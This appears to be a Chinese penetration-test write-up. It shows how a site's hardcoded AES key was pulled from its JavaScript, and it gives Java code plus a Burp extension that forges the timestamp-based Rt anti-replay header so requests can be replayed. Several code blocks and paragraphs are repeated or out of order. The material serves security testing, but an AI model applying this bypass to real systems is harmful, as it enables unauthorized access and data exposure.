1
前言
随着当前攻防水平的不断提高,实战攻防过程中,经常能遇到前端的参数被各种各样的方式加密的情况。毫无疑问,这种方式能够防止很多脚本小子的脚步,但是很多网站就存在“金玉其外,败絮其内“的情况,将传递的参数加密了事,忽略很多系统本身存在的安全风险。本文以实战角度出发,介绍面对这种防重放的情况下的攻防技巧。
2
背景
某次渗透测试项目,笔者经过测试发现该网站部分关键数据包使用JS加密,并且请求包还添加相关参数用来防止重放数据包的情况,这种机制可以阻挡很多非必要的攻击。但是对渗透测试人员来说,这种技能也是应该具备的。
3
收集信息
拿到项目后,首先针对目标进行访问,如下图所示:


4
绕过防重放字段
结合笔者已有的信息,接下来开始正式测试:首先尝试登录功能点测试: 

POST /api/sms/sendsms HTTP/2 Host: xxx Content-Length: 73 Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Authorization: Bearer null Rt: /5asJSe+gKXuuIdOsOg6kw== Content-Type: application/json Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36 Api-Version: 1.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
{"phone":"1888888881","smsTypes":2,"uniqueId":"1684756825417","code":""}
通过对Header头进行分析,发现其中RT参数正是其中关键字段,主要用来防止数据包重放,现在就需要看看这个RT参数从何而来。
经过对JS代码的分析,发现了如下代码:
var aeskey2 = '1122334455667788'; xxxxx function encryptRt(data) { var key = CryptoJS.enc.Utf8.parse(aeskey2); // 加密 var encryptedData = CryptoJS.AES.encrypt(data, key, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }); return encryptedData + ''; } xxx
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.security.Security; import java.util.Base64;
public class AESUtils { static { Security.addProvider(new BouncyCastleProvider()); } public static String encryptData(String data, String key) throws Exception { byte[] keyBytes = key.getBytes("UTF-8"); SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding"); cipher.init(Cipher.ENCRYPT_MODE, keySpec); byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8")); return Base64.getEncoder().encodeToString(encrypted); }
public static String decryptData(String data, String key) throws Exception { byte[] keyBytes = key.getBytes("UTF-8"); SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding"); cipher.init(Cipher.DECRYPT_MODE, keySpec); byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data)); return new String(decrypted, "UTF-8"); } 进行测试,效果符合预期。
截止到目前笔者已经了解了Rt参数的前世今生,现在考虑如何更方便的开展笔者的渗透工作。
关于如何写Burp插件参考文末文章,这里主要写两个地方: 1,如何调用BURP接口,替换RT参数 2,如何调用笔者的加密逻辑。 在BURP插件的开发过程中,目录结构如下,笔者只需要添加一个加密逻辑的java文件,然后在BurpExtender中直接调用即可。
将笔者的加密逻辑命名为ReplaceRT,接着写Burpextender即可。
package burp;
import java.io.PrintWriter; import java.util.Arrays; import java.util.List;
public class BurpExtender implements IBurpExtender, IHttpListener { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private PrintWriter stdout; private PrintWriter mStdOut;
// implement IBurpExtender @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { stdout = new PrintWriter(callbacks.getStdout(), true);
this.callbacks = callbacks; helpers = callbacks.getHelpers(); callbacks.setExtensionName("Rt_replace_Demo"); callbacks.registerHttpListener(this); //this.mStdOut.println("Author: fu11y"); }
@Override
public void processHttpMessage(int toolFlag,boolean messageIsRequest,IHttpRequestResponse messageInfo) { try{ if (toolFlag == 64 || toolFlag == 16 || toolFlag == 32 || toolFlag == 4){ if (messageIsRequest){ IRequestInfo analyzeRequest = helpers.analyzeRequest(messageInfo); String request = new String(messageInfo.getRequest()); byte[] body = request.substring(analyzeRequest.getBodyOffset()).getBytes(); List<String> headers = analyzeRequest.getHeaders();
for(String header : headers){ stdout.println("header"+header); if(header.startsWith("Rt")){ headers.remove(header); break; } }
long currentTimestampSeconds = System.currentTimeMillis(); String aesKey = "1122334455667788"; String data = String.valueOf(currentTimestampSeconds); String Rt = "Rt: "+ReplaceRt.encryptData(data,aesKey);// 替换header中的Rt
headers.add(Rt); stdout.println(Rt); byte[] new_Request = helpers.buildHttpMessage(headers,body); stdout.println(helpers.analyzeRequest(new_Request).getHeaders()); messageInfo.setRequest(new_Request); } } } catch(Exception e){ stdout.println(e); }
} } 打jar包,导入到burp中一气呵成,闲庭信步,那么到现在,笔者就拥有了绕过防重放的 burp插件包,效果如下:
已经是可以重放了,结合之前泄露的URL和接口信息,开测!
还记得之前的思路吗?接下来针对之前搜集的JS资产开始一个一个测试:
成果如下:未授权信息枚举,未授权文件上传;
点到为止,本次收工。
var aeskey2 = '1122334455667788'; xxxxx function encryptRt(data) { var key = CryptoJS.enc.Utf8.parse(aeskey2); // 加密 var encryptedData = CryptoJS.AES.encrypt(data, key, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }); return encryptedData + ''; } xxx
经过对该代码的分析,发现Rt参数正是通过aes方式进行加密,并且获得其中的key和加密逻辑。
接下来各显神通,笔者使用java撸了一份解密代码:
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.security.Security; import java.util.Base64;
public class AESUtils { static { Security.addProvider(new BouncyCastleProvider()); }
public static String decryptData(String data, String key) throws Exception { byte[] keyBytes = key.getBytes("UTF-8"); SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding"); cipher.init(Cipher.DECRYPT_MODE, keySpec); byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data)); return new String(decrypted, "UTF-8"); }
public static void main(String[] args) throws Exception {
String aesKey = "1122334455667788"; String data = "/5asJSe+gKXuuIdOsOg6kw=="; String decryptData = decryptData(data, aesKey); System.out.println(decryptData);
通过对Rt头参数进行解密,发现其参数是时间戳,那么现在笔者就知道这套逻辑,通过Rt参数对当前数据包进行防重放校验,笔者完善一下完整加解密代码:
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.security.Security; import java.util.Base64;
public class AESUtils { static { Security.addProvider(new BouncyCastleProvider()); }
public static String decryptData(String data, String key) throws Exception { byte[] keyBytes = key.getBytes("UTF-8"); SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding"); cipher.init(Cipher.DECRYPT_MODE, keySpec); byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data)); return new String(decrypted, "UTF-8"); }
public static void main(String[] args) throws Exception {
String aesKey = "1122334455667788"; String data = "/5asJSe+gKXuuIdOsOg6kw=="; String decryptData = decryptData(data, aesKey); System.out.println(decryptData);

import org.bouncycastle.jce.provider.BouncyCastleProvider;
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.security.Security; import java.util.Base64;
public class AESUtils { static { Security.addProvider(new BouncyCastleProvider()); } public static String encryptData(String data, String key) throws Exception { byte[] keyBytes = key.getBytes("UTF-8"); SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding"); cipher.init(Cipher.ENCRYPT_MODE, keySpec); byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8")); return Base64.getEncoder().encodeToString(encrypted); }
public static String decryptData(String data, String key) throws Exception { byte[] keyBytes = key.getBytes("UTF-8"); SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding"); cipher.init(Cipher.DECRYPT_MODE, keySpec); byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data)); return new String(decrypted, "UTF-8"); } 进行测试,效果符合预期。

5
封装插件,开始渗透
已经知道RT参数的前世今生,现在封 装Burp插件,绕过RT校验!关于如何写Burp插件参考文末文章,这里主要写两个地方: 1,如何调用BURP接口,替换RT参数 2,如何调用笔者的加密逻辑。 在BURP插件的开发过程中,目录结构如下,笔者只需要添加一个加密逻辑的java文件,然后在BurpExtender中直接调用即可。

package burp;
import java.io.PrintWriter; import java.util.Arrays; import java.util.List;
public class BurpExtender implements IBurpExtender, IHttpListener { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private PrintWriter stdout; private PrintWriter mStdOut;
// implement IBurpExtender @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { stdout = new PrintWriter(callbacks.getStdout(), true);
this.callbacks = callbacks; helpers = callbacks.getHelpers(); callbacks.setExtensionName("Rt_replace_Demo"); callbacks.registerHttpListener(this); //this.mStdOut.println("Author: fu11y"); }
@Override
public void processHttpMessage(int toolFlag,boolean messageIsRequest,IHttpRequestResponse messageInfo) { try{ if (toolFlag == 64 || toolFlag == 16 || toolFlag == 32 || toolFlag == 4){ if (messageIsRequest){ IRequestInfo analyzeRequest = helpers.analyzeRequest(messageInfo); String request = new String(messageInfo.getRequest()); byte[] body = request.substring(analyzeRequest.getBodyOffset()).getBytes(); List<String> headers = analyzeRequest.getHeaders();
for(String header : headers){ stdout.println("header"+header); if(header.startsWith("Rt")){ headers.remove(header); break; } }
long currentTimestampSeconds = System.currentTimeMillis(); String aesKey = "1122334455667788"; String data = String.valueOf(currentTimestampSeconds); String Rt = "Rt: "+ReplaceRt.encryptData(data,aesKey);// 替换header中的Rt
headers.add(Rt); stdout.println(Rt); byte[] new_Request = helpers.buildHttpMessage(headers,body); stdout.println(helpers.analyzeRequest(new_Request).getHeaders()); messageInfo.setRequest(new_Request); } } } catch(Exception e){ stdout.println(e); }
} } 打jar包,导入到burp中一气呵成,闲庭信步,那么到现在,笔者就拥有了绕过防重放的 burp插件包,效果如下:



6
总结
如今渗透测试过程中经常能遇到前端加密和防止重放的情况,针对这种,通过JS分析出加密方法,结合具体业务,一般都能拿到比较不错的收获。